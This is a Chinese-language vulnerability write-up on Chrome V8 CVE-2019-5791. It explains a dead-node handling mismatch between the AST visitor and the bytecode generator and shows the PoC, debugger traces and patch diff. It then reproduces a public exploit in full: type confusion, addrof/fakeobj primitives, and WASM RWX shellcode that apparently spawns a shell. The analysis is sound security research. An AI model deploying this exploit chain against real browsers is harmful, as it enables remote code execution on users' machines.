近日,作者研究了chrome v8的一个漏洞cve-2019-5791,cve的漏洞描述是由于不合适的优化可以导致越界读,但实际上该漏洞是由于在语法树遍历阶段和实际生成字节码阶段对死结点的判定不一致导致的类型混淆,成功利用该漏洞可以导致rce。
漏洞环境
漏洞的修复网址是https://chromium.googlesource.com/v8/v8/+/9439a1d2bba439af0ae98717be28050c801492c1,这里使用的commit是2cf6232948c76f888ff638aabb381112582e88ad。使用如下命令搭建漏洞环境
1 2 3 4 5 6 7 8 |
git reset --hard 2cf6232948c76f888ff638aabb381112582e88ad gclient sync -f tools/dev/v8gen.py x64.debug ninja -C out.gn/x64.debug d8 tools/dev/v8gen.py x64.release ninja -C out.gn/x64.release d8 |
漏洞分析
ast visitor
首先看一下漏洞修复的描述,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
[ast] Always visit all AST nodes, even dead nodes We'll let the bytecode compiler and optimizing compilers deal with dead code, rather than the ast visitors. The problem is that the visitors previously disagreed upon what was dead. That's bad if necessary visitors omit parts of the code that the bytecode generator will actually visit. I did consider removing the AST nodes immediately in the parser, but that adds overhead and actually broke code coverage. Since dead code shouldn't be shipped to the browser anyway (and we can still omit it later in the bytecode generator), I opted for keeping the nodes instead. Change-Id: Ib02fa9031b17556d2e1d46af6648356486f8433d Reviewed-on: https://chromium-review.googlesource.com/c/1470108 Commit-Queue: Toon Verwaest <verwaest@chromium.org> Reviewed-by: Leszek Swirski <leszeks@chromium.org> Cr-Commit-Position: refs/heads/master@{#59569} |
通过漏洞描述我们大致知道问题出在语法树的遍历阶段,具体点来说就是语法树遍历阶段和字节码生成阶段对死结点的判定不一致。那么现在的问题就是这两个阶段对死结点的判定具体有什么不同,对死结点判定的不一致又会导致什么问题。
在漏洞修复页面查看一下diff的内容看一下修复漏洞改了哪些东西,通过被修改代码的文件名发现只是去掉了语法树遍历阶段的一些代码,加了几行对漏洞分析帮助不大的输出和一个漏洞poc。从这些信息我们可以得到ast visitor处理语法树死结点跳转位置的代码如下,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
template <class Subclass> void AstTraversalVisitor<Subclass>::VisitStatements( const ZonePtrList<Statement>* stmts) { for (int i = 0; i < stmts->length(); ++i) { Statement* stmt = stmts->at(i); RECURSE(Visit(stmt)); if (stmt->IsJump()) break; } } bool Statement::IsJump() const { switch (node_type()) { #define JUMP_NODE_LIST(V) \ V(Block) \ V(ExpressionStatement) \ V(ContinueStatement) \ V(BreakStatement) \ V(ReturnStatement) \ V(IfStatement) #define GENERATE_CASE(Node) \ case k##Node: \ return static_cast<const Node*>(this)->IsJump(); JUMP_NODE_LIST(GENERATE_CASE) #undef GENERATE_CASE #undef JUMP_NODE_LIST default: return false; } } |
从上边ast visitor中处理语法树statements的代码我们可以得到stmt->IsJump()为真时会跳出循环不去处理(使用自定义的RECURSE方法)之后的代码。注意这里stmt->IsJump()为真的条件中有一个是IfStatement。
我们跟进ast-traversal-visitor.h,发现这个文件定义了一个继承自AstVisitor的类AstTraversalVisitor,定义了一些处理不同类型语法树结点的操作,而在处理不同类型语法树结点时又使用了RECURSE宏调用相应语法树结点类型的visit方法继续遍历语法树,在遍历节点过程中主要记录语法树深度、检查语法树结点递归时是否栈溢出。
以上是我们可以从漏洞修复得到的信息,但是仅凭这些信息显然没办法了解漏洞的本质。此时我们还需要解决的一个问题是找到v8中真正生成字节码(bytecode-generator)时对死结点处理的代码。
bytecode-generator
我对v8的源代码不是很熟悉,找bytecode-generator处理语法树死结点的代码我这里用的方法是在patch中ast-traversal-visitor.h代码修改的地方(即b ast-traversal-visitor.h:113)下断点,然后不断栈回溯找到的。最终得到v8生成语法树解析生成字节码的大致过程如下(这里有一个点是v8会把js代码分成top-level和non top-level部分,普通语句和函数声明是top-level,函数定义部分是non top-level。)
1 2 3 |
1.解析top level部分的代码,生成语法树并生成这部分代码的未优化字节码 2.解析non top-level运行到的函数的代码,生成语法树,调用ast visitor和bytecode-generator的代码生成字节码。这里最终生成字节码调用的函数是bytecode-generator.cc BytecodeGenerator::GenerateBytecode |
我们跟进最终生成字节码的函数BytecodeGenerator::GenerateBytecode,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
void BytecodeGenerator::GenerateBytecode(uintptr_t stack_limit) { ...... if (closure_scope()->NeedsContext()) { // Push a new inner context scope for the function. BuildNewLocalActivationContext(); ContextScope local_function_context(this, closure_scope()); BuildLocalActivationContextInitialization(); GenerateBytecodeBody(); } else { GenerateBytecodeBody(); } // Check that we are not falling off the end. DCHECK(!builder()->RequiresImplicitReturn()); } |
主要是进行了栈溢出检查、范围检查、分配寄存器,然后调用GenerateBytecodeBody()真正生成字节码。
1 2 3 4 5 6 7 8 9 10 11 12 13 |
void BytecodeGenerator::GenerateBytecodeBody() { ...... // Visit statements in the function body. VisitStatements(info()->literal()->body()); // Emit an implicit return instruction in case control flow can fall off the // end of the function without an explicit return being present on all paths. if (builder()->RequiresImplicitReturn()) { builder()->LoadUndefined(); BuildReturn(); } } |
在GenerateBytecodeBody()中主要是根据语法树结点类型调用相应visit函数处理相应结点,注意这里VisitStatements(info()->literal()->body());调用的是如下代码
1 2 3 4 5 6 7 8 9 10 11 |
void BytecodeGenerator::VisitStatements( const ZonePtrList<Statement>* statements) { for (int i = 0; i < statements->length(); i++) { // Allocate an outer register allocations scope for the statement. RegisterAllocationScope allocation_scope(this); Statement* stmt = statements->at(i); Visit(stmt); if (builder()->RemainderOfBlockIsDead()) break; } } |
BytecodeGenerator::VisitStatements即实际生成字节码时处理语法树声明类型结点的代码,这里我们发现在实际生成字节码时builder()->RemainderOfBlockIsDead()条件为真时会跳出循环不去处理之后的代码。这样我们最开始的问题ast visitor和bytecode-generator处理语法树死结点的不同就转化为builder()->RemainderOfBlockIsDead()条件为真和stmt->IsJump()条件为真时的不同。
我们找到builder()->RemainderOfBlockIsDead()的定义,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
void BytecodeArrayWriter::UpdateExitSeenInBlock(Bytecode bytecode) { switch (bytecode) { case Bytecode::kReturn: case Bytecode::kThrow: case Bytecode::kReThrow: case Bytecode::kAbort: case Bytecode::kJump: case Bytecode::kJumpConstant: case Bytecode::kSuspendGenerator: exit_seen_in_block_ = true; break; default: break; } } |
对比stmt->IsJump()的定义
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
bool Statement::IsJump() const { switch (node_type()) { #define JUMP_NODE_LIST(V) \ V(Block) \ V(ExpressionStatement) \ V(ContinueStatement) \ V(BreakStatement) \ V(ReturnStatement) \ V(IfStatement) #define GENERATE_CASE(Node) \ case k##Node: \ return static_cast<const Node*>(this)->IsJump(); JUMP_NODE_LIST(GENERATE_CASE) #undef GENERATE_CASE #undef JUMP_NODE_LIST default: return false; } } |
对比可以发现stmt->IsJump()为真的条件多了IfStatement,也就是说ast visitor不会处理if死结点之后的代码,而实际生成字节码时会处理到这部分ast visitor没有检查过的代码。那接下来的问题就是,这么做会导致什么后果呢?
类型混淆的原因
经过调试发现漏洞版本的v8在处理到形如poc中代码的箭头函数时,
1 2 3 4 5 6 7 8 9 10 11 |
// Copyright 2019 the V8 project authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. var asdf = false; const f = (v1 = (function g() { if (asdf) { return; } else { return; } (function h() {}); })()) => 1; f(); |
会调用bytecode-generator.cc BytecodeGenerator::AllocateDeferredConstants,此时栈回溯如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
#0 v8::internal::interpreter::BytecodeGenerator::AllocateDeferredConstants (this=0x564b468658c0, isolate=0x564b467d7e00, script=...) at ../../src/interpreter/bytecode-generator.cc:988 #1 0x00007f0b368acd87 in v8::internal::interpreter::BytecodeGenerator::FinalizeBytecode (this=0x564b468658c0, isolate=0x564b467d7e00, script=...) at ../../src/interpreter/bytecode-generator.cc:964 #2 0x00007f0b368d8177 in v8::internal::interpreter::InterpreterCompilationJob::FinalizeJobImpl (this=0x564b468657f0, shared_info=..., isolate=0x564b467d7e00) at ../../src/interpreter/interpreter.cc:214 #3 0x00007f0b362b3a3f in v8::internal::UnoptimizedCompilationJob::FinalizeJob (this=0x564b468657f0, shared_info=..., isolate=0x564b467d7e00) at ../../src/compiler.cc:158 #4 0x00007f0b362bcdb4 in v8::internal::(anonymous namespace)::FinalizeUnoptimizedCompilationJob (job=0x564b468657f0, shared_info=..., isolate=0x564b467d7e00) at ../../src/compiler.cc:425 #5 0x00007f0b362b65bf in v8::internal::(anonymous namespace)::FinalizeUnoptimizedCode (parse_info=0x7fffd1cf1730, isolate=0x564b467d7e00, shared_info=..., outer_function_job=0x564b46865390, inner_function_jobs=0x7fffd1cf16c0) at ../../src/compiler.cc:594 #6 0x00007f0b362b60c5 in v8::internal::Compiler::Compile (shared_info=..., flag=v8::internal::Compiler::KEEP_EXCEPTION, is_compiled_scope=0x7fffd1cf1b58) at ../../src/compiler.cc:1182 #7 0x00007f0b362b68b6 in v8::internal::Compiler::Compile (function=..., flag=v8::internal::Compiler::KEEP_EXCEPTION, is_compiled_scope=0x7fffd1cf1b58) at ../../src/compiler.cc:1212 #8 0x00007f0b36b905c4 in v8::internal::__RT_impl_Runtime_CompileLazy (args=..., isolate=0x564b467d7e00) at ../../src/runtime/runtime-compiler.cc:40 #9 0x00007f0b36b901e2 in v8::internal::Runtime_CompileLazy (args_length=1, args_object=0x7fffd1cf1c28, isolate=0x564b467d7e00) at ../../src/runtime/runtime-compiler.cc:22 #10 0x00007f0b372e3132 in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit () from /home/r00t/v8/out.gn/x64.debug/./libv8.so #11 0x00007f0b36f64761 in Builtins_CompileLazy () from /home/r00t/v8/out.gn/x64.debug/./libv8.so #12 0x00007f0b36f486c0 in Builtins_ArgumentsAdaptorTrampoline () from /home/r00t/v8/out.gn/x64.debug/./libv8.so #13 0x00003d48921004d1 in ?? () #14 0x00003ea80bf81521 in ?? () #15 0x0000000000000000 in ?? () |
跟进BytecodeGenerator::AllocateDeferredConstants,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
void BytecodeGenerator::AllocateDeferredConstants(Isolate* isolate, Handle<Script> script) { ...... // Build array literal constant elements for (std::pair<ArrayLiteral*, size_t> literal : array_literals_) { ArrayLiteral* array_literal = literal.first; Handle<ArrayBoilerplateDescription> constant_elements = array_literal->GetOrBuildBoilerplateDescription(isolate); builder()->SetDeferredConstantPoolEntry(literal.second, constant_elements); } ...... } |
BytecodeGenerator::AllocateDeferredConstants主要调用对应的方法处理语法树不同类型节点并将当前语法树结点偏移literal.second的元素视为下一个要处理的当前结点类型入口即视为与当前结点类型一致,例如在构造array对象常量时,会调用SetDeferredConstantPoolEntry设置literal.second为当前数组的下一个入口点,即偏移literal.second的位置视为数组类型,这里literal.second为一个索引值。
1 2 3 4 5 6 |
pwndbg> p literal $4 = { first = 0x55f4e2734868, second = 2 } |
由于ast visitor没有检查if死结点之后代码的数据类型,而bytecode-generator在实际生成字节码时会把语法树当前结点偏移literal.second的位置视为当前节点类型从而最终导致类型混淆。
如poc中的代码在执行到compiler.cc :961 maybe_existing = script->FindSharedFunctionInfo(isolate, literal);时,此时literal的内容已经是非法的object对象,debug编译的v8类型检查错误导致崩溃。
1 2 3 4 5 6 7 8 9 |
pwndbg> p literal $2 = (v8::internal::FunctionLiteral *) 0x55f5e5bbad88 pwndbg> x/10xg 0x55f5e5bbad88 0x55f5e5bbad88: 0x002000e60000010b 0x0000000000000000 0x55f5e5bbad98: 0x0000010b00000000 0x0000000400000000 0x55f5e5bbada8: 0x000055f5e5bbade0 0x000055f5e5bbab00 0x55f5e5bbadb8: 0x0000000000000000 0x0000000000000000 0x55f5e5bbadc8: 0x000055f5e5bba048 0x0000000000000000 |
patch分析
我们回过头来看patch修改的内容,去掉了ast visitor中对代码块跳转的判断,即不论当前代码块是否会跳转依旧处理之后的代码,这样虽然可能会多遍历检查一部分语法树结点,但确实是修复了这个漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
diff --git a/src/ast/ast-traversal-visitor.h b/src/ast/ast-traversal-visitor.h index ac5f8f2f6..b4836ff 100644 --- a/src/ast/ast-traversal-visitor.h +++ b/src/ast/ast-traversal-visitor.h @@ -116,7 +116,6 @@ for (int i = 0; i < stmts->length(); ++i) { Statement* stmt = stmts->at(i); RECURSE(Visit(stmt)); - if (stmt->IsJump()) break; } } diff --git a/src/ast/ast.cc b/src/ast/ast.cc index d47300a..c5b122c 100644 --- a/src/ast/ast.cc +++ b/src/ast/ast.cc @@ -151,26 +151,6 @@ return IsFunctionLiteral() && IsAccessorFunction(AsFunctionLiteral()->kind()); } -bool Statement::IsJump() const { - switch (node_type()) { -#define JUMP_NODE_LIST(V) \ - V(Block) \ - V(ExpressionStatement) \ - V(ContinueStatement) \ - V(BreakStatement) \ - V(ReturnStatement) \ - V(IfStatement) -#define GENERATE_CASE(Node) \ - case k##Node: \ - return static_cast<const Node*>(this)->IsJump(); - JUMP_NODE_LIST(GENERATE_CASE) -#undef GENERATE_CASE -#undef JUMP_NODE_LIST - default: - return false; - } -} - |
漏洞利用
cve-2019-5791网上公开的只有一个韩国人写的不稳定exp,成功率大概在40%左右,exp地址:https://github.com/cosdong7/chromium-v8-exploit。作者水平有限没有构造出比较稳定的exp,下面介绍下这个exp的思路。
因为我们利用cve-2019-5791最终要达到的目的还是任意地址读写,所以要做的就是利用if死结点之后代码的类型混淆构造一个可控的array buffer对象,有了可控的array buffer利用写wasm执行shellcode即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 |
callFn = function(code) { try { code(); } catch (e) { console.log(e); } } let proxy = new Proxy({}, {}); function run(prop, ...args) { let handler = {}; const proxy = new Proxy(function() {}, handler); handler[prop] = (({ v1 = ((v2 = (function() { var v3 = 0; var callFn = 0; if (asdf) { return; } else { return; } (function() { v3(); }); (function() { callFn = "\u0041".repeat(1024 * 32); // mutate "run" v3 = [1.1, 2.2, 3.3]; // now "proxy" becomes a packed array. v4 = [{}].slice(); v5 = [4.4]; }) })) => (1))() }, ...args) => (1)); Reflect[prop](proxy, ...args); } callFn((() => (run("construct", [])))); callFn((() => (run("prop1")))); function test() { let convert = new ArrayBuffer(0x8); let f64 = new Float64Array(convert); let u32 = new Uint32Array(convert); function d2u(v) { f64[0] = v; return u32; } function u2d(lo, hi) { u32[0] = lo; u32[1] = hi; return f64[0]; } function hex(d) { let val = d2u(d); return ("0x" + (val[1] * 0x100000000 + val[0]).toString(16)); } let shellcode = [0x6a6848b8, 0x2f62696e, 0x2f2f2f73, 0x504889e7, 0x68726901, 0x1813424, 0x1010101, 0x31f656be, 0x1010101, 0x81f60901, 0x1014801, 0xe6564889, 0xe631d2b8, 0x01010101, 0x353a0101, 0x01900f05]; let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]); let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {}); let f = wasm_mod.exports._Z3addii; run[18] = 0x41414141; if(proxy.length == 0x41414141){ print("exploit success!\n"); } else{ print("exploit fail TT\n"); } let addrof = function(obj) { v4[0] = obj; var leak = proxy[26]; return leak; } let fakeobj = function(addr) { proxy[26] = addr; var obj = v4[0]; return obj; } let ab = new ArrayBuffer(0x100); let abAddr = addrof(ab); print("array buffer : " + hex(abAddr)); let wasmObj = addrof(f) - u2d(0x108, 0); doubleMap = proxy[34]; var fake = [ doubleMap, 0, wasmObj, u2d(0, 0x8) ].slice(); var fakeAddr = addrof(fake) - u2d(0x20, 0); print("fake_addr : " + hex(fakeAddr)); var target = fakeobj(fakeAddr); let rwx = target[0]; print("rwx : " + hex(rwx)); fake[2] = abAddr + u2d(0x10, 0); target[0] = rwx; let dv = new DataView(ab); for (var i = 0; i < shellcode.length; i++) { dv.setUint32(i * 4, shellcode[i]); } f(); } test(); |
–print-ast查看一下exp中生成的语法树
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 |
...... [generating bytecode for function: run] --- AST --- FUNC at 122 . KIND 0 . SUSPEND COUNT 0 . NAME "run" . PARAMS . . VAR (0x55f76877bc10) (mode = TEMPORARY, assigned = true) "" . DECLS . . VARIABLE (0x55f76877bb18) (mode = LET, assigned = false) "prop" . . VARIABLE (0x55f76877bbc0) (mode = LET, assigned = false) "args" . BLOCK NOCOMPLETIONS at -1 . . EXPRESSION STATEMENT at -1 . . . INIT at -1 . . . . VAR PROXY local[0] (0x55f76877bb18) (mode = LET, assigned = false) "prop" . . . . VAR PROXY parameter[0] (0x55f76877bc10) (mode = TEMPORARY, assigned = true) "" . . EXPRESSION STATEMENT at -1 . . . INIT at -1 . . . . VAR PROXY local[1] (0x55f76877bbc0) (mode = LET, assigned = false) "args" . . . . VAR PROXY local[2] (0x55f76877bc40) (mode = TEMPORARY, assigned = true) "" . BLOCK NOCOMPLETIONS at -1 . . BLOCK NOCOMPLETIONS at -1 . . . EXPRESSION STATEMENT at 156 . . . . INIT at 156 . . . . . VAR PROXY local[3] (0x55f76877bf40) (mode = LET, assigned = false) "handler" . . . . . OBJ LITERAL at 156 . . BLOCK NOCOMPLETIONS at -1 . . . EXPRESSION STATEMENT at 176 . . . . INIT at 176 . . . . . VAR PROXY local[4] (0x55f76877c100) (mode = CONST, assigned = false) "proxy" . . . . . CALL NEW at 176 . . . . . . VAR PROXY unallocated (0x55f7687838b8) (mode = DYNAMIC_GLOBAL, assigned = false) "Proxy" . . . . . . FUNC LITERAL at 186 . . . . . . . NAME . . . . . . . INFERRED NAME . . . . . . VAR PROXY local[3] (0x55f76877bf40) (mode = LET, assigned = false) "handler" ....... [generating bytecode for function: v1.v2] --- AST --- FUNC at 373 . KIND 0 . SUSPEND COUNT 0 . NAME "" . INFERRED NAME "v1.v2" . EXPRESSION STATEMENT at 393 . . ASSIGN at 400 . . . VAR PROXY context[5] (0x55f768781158) (mode = VAR, assigned = true) "callFn" 0x55f7687838b8 . . . CALL . . . . PROPERTY at 411 . . . . . LITERAL "A" . . . . . NAME repeat . . . . LITERAL 32768 . EXPRESSION STATEMENT at 434 . . ASSIGN at 437 . . . VAR PROXY context[4] (0x55f768781070) (mode = VAR, assigned = true) "v3" . . . ARRAY LITERAL at 439 . . . . VALUES at 439 . . . . . LITERAL 1 . . . . . LITERAL 2 . . . . . LITERAL 3 . . . . . LITERAL 4 . . . . . LITERAL 5 . . . . . LITERAL 6 |
注意到run中proxy对象的地址是0x55f76877c100,v1.v2中callFn的地址是0x55f7687838b8,callFn中的元素会覆盖到proxy的位置导致proxy和run类型混淆成array。在run成功被混淆成array类型时我们可以通过run修改proxy的长度得到一个可以越界访问的数组proxy,再通过数组的越界读写利用写wasm执行shellcode即可。这里exp不稳定的原因是run不一定会从jsfunction类型被稳定类型混淆成array类型,导致不一定会得到稳定越界访问的数组proxy。
总结
通过以上分析发现cve-2019-5791这个漏洞根源还是v8在开发时模块之间耦合出现的问题,而为了减少模块之间数据和操作的耦合度,开发时又不得不加入一些模块去分开处理数据和操作。模块之间耦合时可能存在处理不一致导致安全隐患,这可能为我们挖掘漏洞提供一些思路。